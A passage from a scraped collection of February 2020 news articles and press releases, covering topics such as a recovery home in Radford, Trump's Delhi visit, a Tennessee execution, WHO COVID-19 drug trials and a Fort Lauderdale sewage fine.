Gregorian (English) calendar, he said. In villages, some people may not know their date of birth and if they remembered the festival time during which they were born, the month of birth can be arrived at and the NPR handbook has guidelines for it, he said. "Other than this, as I have already said NPR form has nothing to do with festivals." The Minister also asked, "who was in power at the Centre and Tamil Nadu in 2010." The Congress-led UPA was in power at the Centre while DMK ruled Tamil Nadu that year. The DMK staged a walkout over the issue. RADFORD A house for women recovering from addiction is prompting concern from neighbors. The issue took up a part of a city council meeting last week. The first Oxford House in the city recently opened on Custis Street and will serve up to eight residents. While the city has no jurisdiction over the Oxford House program regulated by the state, citizens are expressing their displeasure with its location to Radford officials. But Mayor David Horton and other council members after doing their research say they have no problem with the situation as it stands. Oxford House, a national, self-run, self-supported nonprofit helps recovering alcohol and drug addicts obtain stable and affordable housing as a means to continue their sobriety, according to its website. Based in Silver Spring, Maryland, and founded in 1975, it seeks to rent single-family houses in good neighborhoods to aid men and women who have been through treatment programs and are currently sober in their recoveries. The programs philosophy is centered around self-help, stating it as the bedrock of recovery, as it builds efficacy in sobriety comfortable enough to avoid relapse, according to the Oxford website. Tawny Booth a resident of the Forest Park neighborhood located in the middle of the city where the Oxford House has now opened told council members shed spoken with her neighbors and didnt receive any positive feedback on the new home. We all kind of feel that since its not in yalls [city councils] backyard, its not an issue she said. Booth who said she works with addicts everyday questioned how Oxford could insure residents are drug free if it doesnt facilitate curfews, drug tests or treatment programs. I just want people to pay attention to who they are bringing into the city and its not what I would prefer, she said. Booth declined a request by The Roanoke Times to expand on her comments from the meeting, including how and where she works with addicts. Oxford House CEO and founder Paul Molloy said his organization doesnt have a staff member living at any of the approximately 2,800 charters across the U.S., but there is a system of checks and balances to ensure tenants are following the rules. After an initial $4,000 loan funded by the state to help a charter get started, residents split the cost of rent and other utilities, while also paying back the loan over a span of two years. Members of each home also govern one another by electing officers to maintain house rules, particularly continued sobriety. Charters receive periodic visits from Oxford House reps who make sure the residences are running smoothly, Molloy said in a phone interview earlier this week. I started the first house in 1975 and in that time we have had maybe two houses have their chapter revoked ... The program is so successful because it works to change the behavior of addicts which is the key to sobriety, he said. Molloy said the program saved his life and hes been sober from alcohol more than 45 years, which helped him sustain a long career working for Republican lawmakers on Capitol Hill. He said addicts who remain in the same environment they were using in relapse at a much higher rate than those who are able to relocate. A 2006 study by Depaul University took 150 recovering addicts and placed half of them in Oxford homes, while the other half went back to their normal lives. After two years, 66% of Oxford residents were still sober, compared to 33% for those on their own. Horton, the mayor, said hes received similar concerns to Booths from several other neighbors over the last several weeks. Horton said neighbors have expressed concerns that their property values will go down, but Molloy maintains that years of research have shown that not to be the case. Housing prices havent gone down in any of the neighborhoods were located ... These days you can even go on Zillow and see that for yourself, he said. City Manager David Ridpath said municipal officials werent made aware of the home before it opened. But as long as the group home providers follow the citys zoning guidelines, Radford has no authority over who can and cant live in the city. Horton said he had questions about the home, but has since learned much about the program. I understand why people may have had concerns initially, but I think it is something that is a good thing for those who need it. he said. Additionally, Molloy said victims of substance abuse are a protected class under the Fair Housing Act. Councilwoman Naomi Huntington an attorney said shes seen firsthand how hard it can be for some of her clients in recovery to find housing away from old influences and crowds that often contribute to relapsing. I dont want Radford to be in the business of discriminating against people who are making an effort and trying to improve their lives, she said. She said she understands the concerns of neighbors wanting to keep the neighborhood family friendly but thinks its now the time to reserve judgement and see how things go. I would very much like the people in the neighborhood to give those living in the home a chance, she said. Molloy, 82, said Oxford encourages those in recovery to be proud of their sobriety and extend an olive branch to people who may be wary of their presence in the neighborhood. It is a badge of honor that theyre getting their lives together. We encourage them to become members of the neighborhood. If someone needs help, help them he said. The Radford location is the first in the New River Valley, but there are 12 charters in Roanoke and one in Salem, according to Oxfords website. For more information on the organization and its mission, visit www.oxfordhouse.org. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Meghan, Duchess of Sussex and Prince Harry shocked the world when they announced they were renouncing their royal positions. The situation they faced as royals were untenable. They needed to get out. But it turns out they cant exactly make a clean break. Family is complicated, especially when the family is a royal one. Even though Prince Harry and Meghan have left the UK and renounced all their royal duties, theyll still have to be involved in some things. After all: family is family. Meghan Markle will have a role in Princess Beatrices wedding Meghan Markle | Chris Jackson/Getty Images Even though Prince Harry and Meghan have moved to Canada, theyre not done being members of the royal family yet. Officially, their last royal engagement will take place in early March. They will take part in the Commonwealth Day service. Once thats over, theyre back off to Canada, and theyll be officially done. Unofficially, their duties to their family will probably never end. Family is family, and the duke and duchess will be there when the family needs them. Theyll travel back and forth between Canada and the U.K. for special family events. Their official duties may end in March, but theyll be back in the U.K. again in May for Princess Beatrices wedding. Princess Beatrice is Prince Harrys first cousin, and the two are very close. According to royal insiders, Prince Harry wouldnt miss his cousins wedding, even if it means flying in from Canada. As for Meghan, she will have a role in the wedding, but it wont be as part of the bridal party. Royal correspondents have said her role will be low key. Fans shouldnt expect to see Baby Archie in the bridal party either. According to sources: While it would be lovely to see baby Archie have a starring role in the bridal party, hell have only just turned one by that point, so hes still a little too young for pageboy duties! Princess Beatrices wedding is highly anticipated Not many people got an invite to what will definitely be the wedding of the year. There will probably be less than 150 attendees. The couple wants to keep things as quiet as possible. Princess Beatrice is marrying Edoardo Mapelli Mozzi. Hes the son of an Italian Count and his stepfather is big in U.K. politics. Hes a great match for Princess Beatrice, especially since she hasnt always made good dating choices. One of her former boyfriends had a criminal history. Paolo Liuzzo dated Princess Beatrice in 2006. Before that, he was charged with manslaughter after a fight ended in death. He avoided jail time, and eventually, the princess moved on. The relationship drama didnt end there. Sometime after Liuzzo, Princess Beatrice got together with Dave Clark. He was so despised by Prince William that Princess Beatrice reportedly wasnt allowed to bring him to Prince William and Kate, Duchess of Cambridges wedding in 2011. Kate Middleton will be in the bridal party It seems like Kate and Prince William are happier with Princess Beatrices current relationship. They are both attending the wedding in May. The Duchess of Cambridge will even be in the bridal party, unlike Meghan. According to royal watchers, this isnt necessarily a snub. It could be that Princess Beatrice knows Prince Harry and Meghan will enjoy the wedding more without the pressure of additional bridal party duties. Plus, with the move, Meghan might not be available for all the planning and practicing that goes into a wedding. Their roles at Princess Beatrices wedding will mirror her older sisters. Prince Harry and Meghan only participated as guests at Princess Eugenies wedding two years ago. Kate and Prince William were just part of the crowd at Princess Eugenies nuptials, so its significant that Kate is now participating as part of the bridal party in Princess Beatrices. Fans know Prince Harry is very close to his cousin, Prince Beatrice. It could be that Kate is also closer to the younger princess than to her sister. Tulips and multi-colour hybrid dahlias besides floral boards will adorn various prominent spots in Lutyen's Delhi to welcome US President Donald Trump's and other dignitaries, an official said on Friday. Various prominent spots, including roundabouts, will also be beautified with flowers, according to an official of the New Delhi Municipal Council. US President Donald Trump, accompanied by First Lady Melania Trump and a high-level delegation, will arrive in Ahmedabad around noon on February 24 for a little less than 36-hour-long trip. Trump's daughter Ivanka and son-in-law Jared Kushner, will also be part of the delegation. From Ahmedabad, Trump will travel to Agra before arriving at the capital for the main leg of the visit. "On all important occasions, we put up floral motifs at various vantage points in the NDMC area. We will install floral boards welcoming the dignitaries at prominent spots on the route the dignitaries will travel," a senior NDMC official said. "Besides seasonal plants that adorn various locations, we have arranged for over 15,000 pots of tulips and multi-colour hybrid dahlias, which will be placed at Hyderabad House, the venue for delegation-level talks between the US President and Prime Minister Narendra Modi," the official added. NDMC area is home prominent buildings, including the iconic Parliament building, Rashtrapati Bhawan and Diplomatic Enclave. "Various prominent spots in the NDMC area, including roundabouts will also be beautified with flowers. While our roads are among the cleanest ones in the city, we have also directed the sanitation department for intensive cleaning of roads using machines," the NDMC official said. In Delhi, Trump and the First Lady will be accorded a ceremonial welcome at the forecourt of the Rashtrapati Bhavan on February 25. From there, they will go to Rajghat to pay homage at the 'samadhi' of Mahatma Gandhi. It will be followed by restricted and delegation-level talks between Trump and Modi at Hyderabad House. Prime Minister Modi will host a lunch for the US president following the talks. In the afternoon, Trump is expected to attend certain private events at the US Embassy, including a private roundtable with industry representatives. In the evening, the US president will meet President Ram Nath Kovind at the Rashtrapati Bhavan. A banquet will be hosted by Kovind and President Trump will depart from India later that evening. PORTLAND, Ore., Feb. 21, 2020 (GLOBE NEWSWIRE) -- Multifamily NW announced today it is filing suit against the City of Portland, challenging two municipal ordinances under the Fair Access in Renting, or FAIR ordinance for short, for their violation of the Oregon State and United States constitutions. The FAIR ordinance consists of two ordinances drastically changing housing provider & tenant law in Portland. One changes the way housing providers post vacancy notices and how they process and evaluate applications; and one changes the way housing providers handle security deposits. The screening ordinance does not allow housing providers who use the low barrier screening process from denying applicants with poor criminal history, credit history or rental history. The second ordinance creates new rules so stringent it discourages the use of security deposits, instead leaving tenants and housing providers to resolve disputes through the court. Portlanders deserve choice in housing, said Jill Gibson of Lynch Conger LLP. We cannot expect private housing providers who provide middle and high-end housing to operate as affordable housing providers with none of the protections from additional risk. The ordinances are an unreasonable combination of being strict and vague. Many housing providers who are concerned they will misinterpret the ordinances and violate the new laws have already resolved to leaving the housing industry entirely, further crunching Portlands housing crisis. Renters will be the ones who ultimately suffer from these unreasonable reforms when the FAIR ordinance goes into effect March 1. Multifamily NW and its members support and believe in the importance of fair housing. Multifamily NW provides extensive educational opportunities to Portlands housing providers on national Fair housing law. National Fair housing law makes it illegal to harass persons because of race, color, religion, sex, disability, familial status, or national origin. These reforms will turn what was already a fair process into a lengthy, vague process that hurts everyone. Without providing enough direction, the FAIR ordinance treats the serious processes of tenant screening and security deposits as a kind of choose-your-own adventure, said Deborah Imse, executive director of Multifamily NW. This is unacceptable, as rental housing and finding a home is not a game to Portlanders. Portlanders deserve laws that are well-thought-out, that give enough clarity for renters to understand their rights and enough direction for housing providers to be able to follow them. About Multifamily NW Founded in 1992, the Metro Multifamily Housing Association (MMHA) was created to represent residential property managers, owners, and vendors throughout Portland, Southern Washington, and down through the Willamette Valley to Medford. Our members manage over 200,000 units in these areas and represent every service related to the industry. In 2013, Metro Multifamily Housing Association became Multifamily NW to better reflect our diverse membership and affiliations. Learn more at www.multifamilynw.org For more information, contact: James Adkins 503.715.2777 James@thinkhubbell.com A PDF accompanying this announcement is available at: http://ml.globenewswire.com/Resource/Download/4bef2e48-27de-44dc-a6a5-11b742b4bdd8 BEIJING, Feb. 20 (Xinhua) -- The impact of the COVID-19 epidemic on China-South Korea economic cooperation and people-to-people exchanges will only be temporary, Chinese President Xi Jinping said in a phone conversation with South Korean President Moon Jae-in on Thursday. Noting that at the special moment when the Chinese people are fighting against the infectious coronavirus disease, Moon chose to call to express sympathies and support and exchange views on deepening bilateral ties, Xi said that reflects the friendly bond between the two nations, which are close neighbors that always support each other through thick and thin. Since the novel coronavirus outbreak, Xi stressed, the Chinese government has mobilized resources throughout the country, united all the Chinese people as one, and taken the most comprehensive, rigorous and thorough measures to prevent and control the spread of the COVID-19. Thanks to those arduous efforts, the situation has witnessed positive changes, he said, stressing that the epidemic will by no means shake the solid foundation of China's long-term stable development. China, he added, will endeavor to minimize the impact of the epidemic and realize its economic and social development goals. China's forceful prevention and control measures are not only aimed at safeguarding the lives and health of the Chinese people, but also contributing to the world's public health cause, Xi said. Xi expressed China's deep gratitude for the care and sympathies as well as the considerable help and support the South Korean government and society have offered to China since the COVID-19 outbreak. China will continue to strengthen communication and cooperation with South Korea and other countries in an open and transparent manner, so as to tackle the epidemic together and promote the health and well-being of people across the world, said the Chinese president. He pointed out that China and South Korea are close neighbors and important cooperation partners, and that bilateral relations are enjoying good momentum of development. Recalling that during their meeting in Beijing at the end of 2019, the two heads of state reached a series of important consensuses, Xi expressed the hope that the two sides will lift the China-South Korea strategic cooperative partnership to higher levels. Xi said he believes that following the victory against the COVID-19, the friendly feelings between the Chinese and South Korean people will grow even deeper, and bilateral exchanges and cooperation more flourishing. Moon, for his part, conveyed the South Korean government and people's sincere sympathies to the Chinese people over the epidemic. The South Korean side applauds China's great efforts in tackling the COVID-19, and believes that under the strong leadership of Xi, the Chinese people will unite as one and win the battle against the epidemic at an early date, he said. Noting that the two countries are close neighbors and South Korea takes China's difficulties as its own, Moon said his country will firmly stand together with China, and is willing to provide China with more assistance, carry out epidemic prevention cooperation with China, and take this battle as an opportunity to strengthen bilateral health cooperation. This year is of significance to the development of South Korea-China relations, Moon said, pledging that South Korea stands ready to work with China to deepen cooperation in various fields and score new progress in bilateral relations. A death row inmate convicted more than three decades ago of stabbing a fellow prisoner to death over a drug deal gone bad was executed in the electric chair in Tennessee on Feb. 20. Nicholas Sutton, 58, was pronounced dead at 7:26 p.m. at the Riverbend Maximum Security Institution in Nashville. Sutton was the fourth inmate executed in the United States this year and the first in Tennessee. Since 2018, four other U.S. inmates have died in the electric chair. Asked if he had any last words, Sutton looked directly into the witness room and spoke clearly. I would like to thank my wife for being such a good witness to the Lord, and my family and many friends who loved and supported me and tried so very hard to save my life, Sutton said. He also spoke of his Christian faith, saying that Jesus Christ had fixed him. He added, Im just grateful to be a servant of God, and Im looking forward to being in his presence. Sutton was sentenced to death in 1986 for killing fellow inmate Carl Estep in a conflict over a drug deal while both were incarcerated in an East Tennessee prison, where Sutton had been serving time for the killings of his grandmother and two others when he was 18. No family members of either Sutton or his victims witnessed the execution. Tennessee Department of Correction spokeswoman Dorinda Carter told reporters that Sutton had asked his family not to be present. Only relatives of Suttons last victim, for whose murder he was sentenced to death, were allowed to witness the execution. None did. However, the sister of one of Suttons earlier victims, John Large, was present in the prison. After the execution, Carter read a statement from Amy Large Cook that said, in part: John was denied the opportunity to live a full life with a family of his own. My children were denied meeting a wonderful man who would have spoiled them rotten and loved them with all his heart. He suffered a terrible and horrific death, and for that I will never forgive Mr. Sutton. Suttons supporters, including several family members of his victims and prison workers, had recently asked Gov. Bill Lee to commute the sentence, saying Sutton had rehabilitated himself in prison and was not the same person who first entered prison 40 years ago. His supporters included two prison workers who credited Sutton with saving their lives. Retired Correction Lt. Tony Eden had stated in an affidavit included with Suttons clemency petition that Sutton confronted a group of armed inmates during a prison riot in 1985 and helped get Eden to safety. If Nick Sutton was released tomorrow, I would welcome him into my home and invite him to be my neighbor, Eden wrote. Gov. Lee said Wednesday that he would not intervene to stop the execution. And two last-ditch appeals to the U.S. Supreme Court were denied Thursday evening. Sutton was serving time at the Morgan County Regional Correctional Facility for three murders when he carried out the prison slaying in 1985, according to court documents. On the morning of Jan. 15, Sutton and Thomas Street entered Carl Esteps cell and stabbed him 38 times in the chest and neck with two homemade knives, prosecutors said. According to court records, four inmates testified they saw the men enter the cell and heard screaming. One of the inmates said he saw Sutton hold a knife to Esteps throat during a physical discussion two days before. One of the inmates also said Estep was a marijuana dealer at the facility who had sold the men bad merchandise and refused to refund their money. He testified that after the men took Esteps watch, Estep had threatened to kill Sutton. In 1986, a Morgan County Criminal Court jury convicted Sutton of first-degree murder and sentenced him to death. Street was convicted and sentenced to life in prison. A third man who was accused of taking part in the attack was acquitted. The Associated Press and Reuters contributed to this report WOBURN, MA / ACCESSWIRE / February 21, 2020 / Divorces, even those that are amicable, can take a physical, spiritual and emotional toll on all those involved. From partners and spouses to children and families, divorce is almost never easy. The caring and compassionate legal team at Shapiro Mediation know how difficult this time can be for their clients. Since inception, the Massachusetts based firm has focused on reaching creative solutions and resolutions through expertly led divorce mediation and other legal avenues. Shapiro Law Group's Shapiro Mediation Branch Led by attorney Anna Shapiro, Shapiro Law Group's Shapiro Mediation branch is dedicated to serving clients in and around the greater Massachusetts area with results-oriented mediation services including those focused on the area of divorce and divorce-related disputes. According to Shapiro Mediation, litigation isn't always the best route for dispute resolution. Although effective in its own right, litigation can be complex, drawn-out, stressful, and resource-intensive. Mediation is a reliable and useful alternative that can be explored as a way to resolve a range of disputes in an efficient and affordable manner. The Benefits of Divorce Mediation Shapiro Mediation helps clients explore mediation, providing exceptional support, vast resources, expert advice, and effective strategies to expeditiously reach amenable outcomes. For some clients, mediation, as a form of alternative dispute resolution (ADR), can prove especially fruitful in achieving desired objectives. This guided form of negotiation involves negotiation between both parties with the assistance and guidance of a mediator. The goal of divorce mediation is to find amicable resolutions to each area of contention or dispute. Potential Benefits of Divorce Mediation Include Improved Control: As opposed to litigation, which must follow a very well-defined legal process, mediation often allows for increased control and flexibility for involved parties in finding resolutions. Privacy and Confidentiality: In contrast to official court proceedings, which are a matter of public record, mediations are confidential unless parties agree otherwise. Voluntary Process: While lawsuits present certain obligations, mediation is an optional measure and one in which either involved party may withdraw from at their discretion. Convenience: Unlike court, mediation can be arranged to take place at both a time and place that is agreeable to both parties. Further, each party may opt to have their own separate room, as well as a joint room for meetings. Reduced Costs: Due to the nature of litigation and court proceedings, mediation is often a more cost-effective alternative for clients. Expedited Outcome: Mediation can be initiated at the first signs of a dispute, often preventing small issues from turning into major contentions and resulting in expedited resolution. Mediator Expertise: Mediators are trained and experienced in working through difficult situations and can act as an independent, unbiased neutral facilitator supporting both parties equally throughout the process. Preservation of Relationships: from business disputes to family arguments, preservation of relationships is a key component of mediation, focusing on interparty communication as opposed to going on the offensive as is often the case with litigation. Other Areas of Mediation Their years of experience have helped the firm develop a depth of experience spanning a myriad of legal areas including but not limited to mediation for: Business Mediation Employment Mediation Family Mediation Civil Mediation Experience Clients can Count On Shapiro Mediation, with their extensive litigation experience and a track record of demonstrated results for clients, is well-positioned to help those in need of mediation in the greater Maryland area. Individuals or businesses in need of representation, mediation or legal advice can call 339-298-2300, reach out on their site directly or through the media contact information below. Contact: Tomas Gallo info@shapiromediators.com https://shapiromediators.com/ SOURCE: Shapiro Mediation Services View source version on accesswire.com:https://www.accesswire.com/577251/Shapiro-Mediation-Continues-to-Offer-Expert-Divorce-Mediation-in-Massachusetts (JTA)-A group of undergraduate students at Harvard University has formed what they call an "anti-Zionist Jewish organization" that supports the Boycott, Divestment and Sanctions movement against Israel. The Harvard Jewish Coalition for Peace introduced itself in a public statement posted Monday on Facebook as "a new organization founded in the idea that Jewish liberation is inextricably bound up with the liberation of all people." The group said it will focus on Palestinian solidarity work; fighting anti-Semitism and for the safety of Jews and all people through solidarity; and creating Jewish spaces and events outside of Hillel. "We build on a long history of Jewish anti-Zionism which teaches us that Jewish safety or liberation will never come at the expense of other people's lives and land, and are committed to following the leadership of Palestinians in supporting the Palestinian-led Boycott, Divestment, and Sanctions movement on and off Harvard's campus," the group said. Jewish Voice for Peace, a pro-Palestinian group that backs the BDS movement, has a number of chapters on campuses across the country that push the boycott movement. The Harvard coalition grew out of discussions about the need for an organized anti-Zionist organization following the spring 2019 Israeli Apartheid Week organized by the Palestine Solidarity Committee at the Boston-area school. Hillel does not allow partnership with groups that support BDS or oppose Israel's existence as a Jewish and democratic state. "We do not claim to represent the majority of the Jewish community here at Harvard," the statement said, "but we hope that our group can provide a space for those who resonate with this vision." Geneva, Feb 21 : The World Health Organization (WHO) has said that preliminary results from clinical trials of therapeutics against COVID-19 were expected in three weeks. "We're also looking forward to results from two clinical trials of therapeutics prioritized by the WHO R&D Blueprint," Xinhua news agency quoted WHO Director-General Tedros Adhanom Ghebreyesus as saying in a briefing on Thursday. One of the trials he referred to was the combination of two drugs for HIV, lopinavir and ritonavir, while the other is testing an antiviral called remdesivir. "We expect preliminary results in three weeks," he added. Remdesivir is a drug developed by US pharmaceutical company Gilead Sciences. It has shown good antiviral activity against SARS and MERS in previous cell and animal experiments. It has also shown fairly good antiviral activity against the COVID-19 at the cellular level. A randomized, double-blind, placebo-controlled clinical trial of remdesivir started on February 6 in several hospitals in the central Chinese city of Wuhan, the epicentre of the outbreak, and the trial will last until the end of April. A study published in 2004 showed the anti-HIV drug combination of lopinavir and ritonavir has "substantial clinical benefit" when given to patients who had SARS. The Wuhan Jinyintan Hospital, where the first 41 known patients were treated, has already launched a randomized, controlled trial of the anti-HIV drug combination. The third version of COVID-19 treatment guidelines published by China's National Health Commission suggested that taking two lopinavir/ritonavir pills and inhaling a dose of nebulized alpha-interferon twice a day could benefit patients. A blogger is campaigning for lessons in the ethical way to use social media to be taught in schools, and opened up about dealing with 'cruel' comments on Loose Women this afternoon. Nikki Lilly, 15, from London, is a YouTube star who creates music and make-up videos, and boasts over one million subscribers and an impressive list of achievements; including interviewing both Theresa May and Jeremy Corbyn, as well as winning the Bafta Special Award 2019, celebrating outstanding contribution to media. The vlogger, who was diagnosed with arteriovenous malformation when she was six affecting her facial tissues, appeared on Loose Women today, where she argued that children should be taught to use social media in a 'positive way', because it's 'such a big part of life'. She said that while she does receive an outpouring of positivity online, Nikki still has to deal with nasty online trolls, but tries to 'turn hate comments on their head' and think about the person posting the remark. Beauty blogger Nikki Lilly, 15, (pictured) from London, appeared on Loose Women today where she claimed the 'right and wrong way' of using social media should be taught in schools The blogger, who was diagnosed with arteriovenous malformation when she was six, creates music and make-up videos online, with over one million subscribers She said: 'I think we should teach kids how to use their platform in a positive way, it's such a big part of life. It's only right we show kids there is a right way and wrong way to use social media.' Nikki explained that while at first the comments on her videos were disabled, she eventually switched them off, and although she doesn't get too many nasty comments - she does receive trolling online. She added: 'I do get cruel comments, I get hate comments, they do still get to me. But if you turn that on its head, it's a lot more about the hater then it is you.' Nikki started making videos when her medical condition left her unable to leave the house and socialise with friends, and says she 'lost touch with the outside world'. Last year, Nikki became the youngest ever recipient of a Children's BAFTA Special Award. She is pictured with Loose Women's Stacey Solomon at the British Academy Children's Awards, Arrivals in London The blogger admitted that while social media can be detrimental, it's helped her to find a sense of 'community' and feels teaching how to use it correctly could be a 'great thing'. 'I think there are a lot of cons with mental health with social media', said Nikki, 'But I think if taught to use it correctly, it can be a really great thing'. 'It's really helped me to have a community and an insight into the outside world when I wasn't able to. Social media can be used to find your tribe.' Nikki's visible condition means normal tissues become painful or fragile and grow progressively larger over time, and she admitted that her diagnosis made her lose 'all of her confidence'. She also shares make-up tutorials with her followers. She is pictured showing how to achieve a 'glowing look' Nikki often shares videos of herself covering songs. Pictured, Nikki singing a cover of The Beatles 'Here Comes The Sun' She spoke with former Prime Minister Theresa May in 2018, who later thanked for her 'suburb' quiche She said: 'I think that when you are faced with hardship, you either sit there and let it happen or you make the most of the cards your dealt. 'When I was diagnosed, I was such a chatty child and I lot all of my confidence, but when I started making videos - it made me so happy.' 'I think I just realised that I could use this little platform that was growing slowly, to make a difference to just one person.' Last year, Nikki became the youngest ever recipient of a Children's BAFTA Special Award, following in the footsteps of Jacqueline Wilson and The Chuckle brothers as a recipient of the special award. During her interview with Theresa May in 2018, the vlogger quizzed the then prime minister on whether she'd rather go on Strictly or Bake Off, and presented the politician with a homemade quiche. Later, May delivered a personal message to Nikki where she hailed her 'inspirational' following their exchange thanked her for her 'superb' baked goods. The state of Florida is fining the city of Fort Lauderdale $1.8 million for a series of massive sewage spills that have sent sent toxic sewage onto streets and into waterways since December. The Florida Department of Environmental Protection sent a letter to Mayor Dean Trantalis on Tuesday notifying him of the fine, the South Florida SunSentinel reported. The deadline for paying the fine is March 31. Officials said 212 million gallons (800 million liters) of sewage has flowed into waterways and neighborhoods in Fort Lauderdale, killing fish and leaving foul smells. The mayor had hoped for no fine at all, so that the money could be invested instead in fixing the faulty pipes. The state should realize the problems all of its cities have (with aging sewer pipes), Trantalis told the newspaper. Fort Lauderdale is not alone. But Gov. Ron DeSantis asked the environmental agencys secretary, Noah Valenstein, to pursue every available penalty. Those that spew untreated wastewater into Floridas water bodies need to be deterred from doing so by appropriate penalties, DeSantis said. The state rejected the practice of allowing the city to comply with penalties by spending the fines on its own sewer repairs because Fort Lauderdale has a history of siphoning money from the utility fund to pay for pensions, salaries and parks, Valenstein said. Fort Lauderdale is an example where you had aging infrastructure not adequately addressed by the municipality, Valenstein told the Sun Sentinel. When we dont have a big enough stick, it allows folks sometimes to make the wrong decisions and not invest in infrastructure. He said its the largest untreated wastewater spill in Floridas history. Look at the impact that its had on the community and ask yourself whether the penalties that weve had in place for decades made sense, Valenstein said. Clearly this is something that has impacted our communities. A DeSantis spokeswoman said the state could sue if the city doesnt pay the fine on time. The mayor said he doesnt know how theyll pay it. I dont know the answer, Trantalis said. We dont have $1.8 million sitting around. A consent order approved in 2017 after an earlier series of spills laid out $117.5 million in required sewer system repairs and improvements through 2026, and provided for state fines of $10,000 a day in the event of future spills of more than 100,000 gallons (378,500 liters). The fines announced Tuesday include $341,500 for recent sewage spills, a civil penalty of nearly $1.5 million and $5,000 in administrative costs. The money will be deposited into a statewide water quality assurance trust fund and can be appropriated by the Legislature to water-related projects across the state, the SunSentinel reported. The citys pipe system broke six times in December and there were additional spills over a 10-day period in January and early February. We are at a crisis level, the mayor said before learning of the fine. We are now suffering the long-term consequences (of long-neglected infrastructure maintenance). Its shameful. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Florida All seized mining excavators that have gone missing will soon be found, according to Professor Kwabena Frimpong-Boateng, the Minister for Environment, Science, Technology and Innovation. According to him, the countrys security agencies are following up on the issue closely and will soon bring it to its logical conclusion. The sector minister who has come under serious attack from a section of the public over his inability to account for all the equipment seized from illegal miners said he is confident that all equipment will be found. He told journalists on Thursday that every excavator that has been stolen will be foundI don't want to overstep what the security people are doing so let us be patient. You will get the facts pretty soon. It was revealed that the excavators seized by Operation Vanguard from illegal miners and some small scale mining companies which flouted the ban on small scale mining had gone missing. There are allegations that some top members of the governing New Patriotic Party (NPP) are involved in illegal mining and they have appropriated some of the excavators amongst themselves despite the public campaign against the practice. The opposition National Democratic Congress (NDC) had said that the governments ban on small scale mining was only a smokescreen to kick out other miners and allow persons aligned to the NPP space to mine clandestinely whilst the ban was still in force. Joojo Frimpong-Boateng, son of the Minister is amongst those accused of being involved in illegal mining and using a missing excavator for the act in some of the countrys forest reserves. But the Minister said the allegation against his son is false. He [Jojo Frimpong-Boateng] is not involved in anything and the world will get to know soon, the Minister said. Meanwhile, the suspended First Vice-Chairman of the NPP in the Central Region, Horace Ekow Ewusi who has become the centre of the controversial issue of the missing equipment has been captured in a viral video allegedly claiming that he together with the NPP General Secretary, Boadu were tasked by the sector minister to use the seized excavators to mine in various concessions. The money raised from these activities, Mr. Ewusi alleged would help fund the political activities of the NPP. John Boadu subsequently denied the allegation. Investigate Ekow Ewusi Prof. Kwabena Frimpong-Boateng had petitioned the Criminal Investigations Department of the Ghana Police Service to investigate Horace Ekow Ewusi over his alleged involvement in the missing earth-moving equipment. Ekow Ewusi was contracted by the government to cart excavators and other vehicles and pieces of equipment seized by Operation Vanguard to designated areas for safekeeping. So far, six persons arrested over the disappearance of the missing equipment have been granted bail. ---citinewsroom US intelligence told lawmakers of Russian effort to boost Trump Iran Press TV Friday, 21 February 2020 2:42 AM US intelligence officials claim that Russia is interfering in the 2020 presidential campaign by trying to boost President Donald Trump's reelection, a report says. Reuters said in a report Thursday that the officials had informed US lawmakers of the matter last week and also claimed that Moscow was attempting to cast doubt on the integrity of the vote too. "The Republicans responded as you would expect. They went nuts," Reuters quoted a person familiar with the briefing as saying. "They questioned the intelligence." The person, who spoke on condition of anonymity, also said that Trump's Republican allies on the Democratic-led House Intelligence Committee put into the question the evaluation presented by officials of the Office of National Intelligence last Thursday. During the classified briefing, the US intelligence officials said Russia was working to throw doubt on the integrity of the Nov. 3 vote while at the same time boosting Republican Trump's election. "They (the Russians) are favoring one candidate while they do it," said the person, noting the briefers identified that candidate as Trump. Meanwhile, The New York Times has reported that Trump reprimanded acting Director of National Intelligence Joseph Maguire for permitting his staff to be present before the committee. On Wednesday, Trump said he was replacing Maguire on an acting basis with Richard Grenell, one of his strong loyalists who has worked as ambassador to Germany since 2018. In reprimanding Maguire, Trump cited the presence in the briefing of Democratic Representative Adam Schiff, the intelligence panel chairman, according to The Times. Schiff is the one who led the House impeachment proceedings against Trump on charges including abuse of power and obstruction of Congress which resulted from the president's dealings with Ukraine. Trump, however, was acquitted of the charges by the Republican-controlled Senate last month. According to The Washington Post, Trump rebuked Maguire in an Oval Office meeting after a Republican ally had told the president about the election security briefing. US officials have repeatedly claimed that Russia and other countries would seek to interfere in the 2020 US presidential election campaign. Russia has denied US allegations that it sought to meddle in the 2016 presidential election, which led to victory of a billionaire reality TV star. There were also allegations that Trump also colluded with the Kremlin to gain favor against political rival Hillary Clinton, triggering an investigation into the matter by special counsel Robert Mueller. Mueller, however, concluded in his report that there was no collusion between Trump and the Russian government. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address There was drama at the Asokwa District Court in Kumasi today, Friday when relatives of the 46-year-old woman who was killed at the Cedar Crescent hotel attempted to beat the suspects in court. According to the statement by the prosecution, the main suspect, Edwin Awuku went to the hotel with Comfort Awuku on 1st January 2020 but killed her around midnight that day. The prosecutor and the defence lawyer failed to appear in court for the second time which some family members have described as attempts to cause unnecessary delays. As the final funeral rights for the deceased, Comfort Owusu Afriyie, is scheduled for tomorrow, Saturday, family members who were filled with grief, even in the courtroom made attempts to physically assault the two suspects, Edwin Awuku and his wife Belinda Awuku. Following the prosecutor's failure to appear in court, the magistrate, Her Worship Rosemarie Afua Asante adjourned the case to 5th March, 2020. Daughter of the deceased, Susana Opoku who spoke to Citi News after court proceedings called for justice to be served in the matter. I am not satisfied, neither is any member of the family satisfied with what is going on. We do not understand how this whole issue is being handled. We know how the police work and we trust them that they can do their work diligently. But right now, whatever is going on, we do not understand because last two weeks when we came to court, the prosecutor did not come and today too, the prosecutor did not come so we are not satisfied. We are not taking things lightly. The person is supposed to come to court. We the family members will come here and sit for hours before the suspect comes to court and when they come, they have the guts to insult us. We are family members. They should explain to us why the prosecutor is not showing up, she said. Background Edwin Awuku who is a driver at the Bank of Ghana in Kumasi, and the deceased, Comfort Owusu Afriyie booked a room at the Cedar Crescent hotel on Wednesday, 1st January 2020 at 9 pm. According to the Prosecutor, Chief Supt. Rev. Dr Adane Ameyaw, their investigations showed that the accused and the deceased then left the hotel but returned around 11 pm. The accused allegedly shot Comfort Owusu Afriyie. The prosecution continued that Edwin Awuku after realizing that his girlfriend, Comfort had died took her phone and the pistol home and 